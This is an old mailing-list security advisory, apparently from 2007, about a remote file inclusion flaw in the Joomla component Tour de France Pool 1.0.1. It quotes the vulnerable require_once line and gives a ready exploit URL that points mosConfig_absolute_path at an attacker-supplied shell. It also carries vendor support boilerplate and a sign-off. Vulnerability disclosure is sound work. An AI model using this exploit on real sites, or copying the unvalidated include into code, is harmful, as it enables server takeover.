our de France Pool 1.0.1 Remote File İnclude Bug

------------Yollubunlar.Org----------------

Title : Tour de France Pool 1.0.1 Remote File İnclude Bug

Author : Yollubunlar.Org

Orginal : http://yollubunlar.org/our-de-france-pool-101-remote-file-include-43.html

Mail : yollubunlar@hotmail.com

Down : http://joomla.bultena.com/component/option,com_remository/Itemid,26/func,download/id,19/chk,f9f89538d34c214c01bfc48dc276e762/lang,en/

Bug : in admin.tour_toto.php " require_once( $mosConfig_absolute_path.'/administrator/components/com_tour_toto/riders.php'); "

Exploit : site.com/path/administrator/components/com_tour_toto/admin.tour_toto.php?mosConfig_absolute_path=sHELL?

Do you need help?

In addition to our free technical library, Pantek provides professional IT services to companies who utilize Open Source software: Learn more about Pantek's Technical Support offerings Place an order for 24/7/365 Technical Support here Learn more about Pantek, who we are, and what we do Chat with a Live Operator Related securityfocus.com Links bugtraq certification focus-bsd focus-ids focus-ih focus-linux focus-ms focus-sun focus-unix-other focus-virus forensics incidents libnet linux-secnews ms-secnews pen-test secpapers secprog sectools secureshell security-basics securityjobs sf-news vuln-dev webappsec Request more information about Pantek

Greetz: Yollubunlar.Org

Not: Vatan Sagolsun ! Şehitler Ölmez , Vatan Bölünmez " Received on Thu Aug 2 15:20:06 2007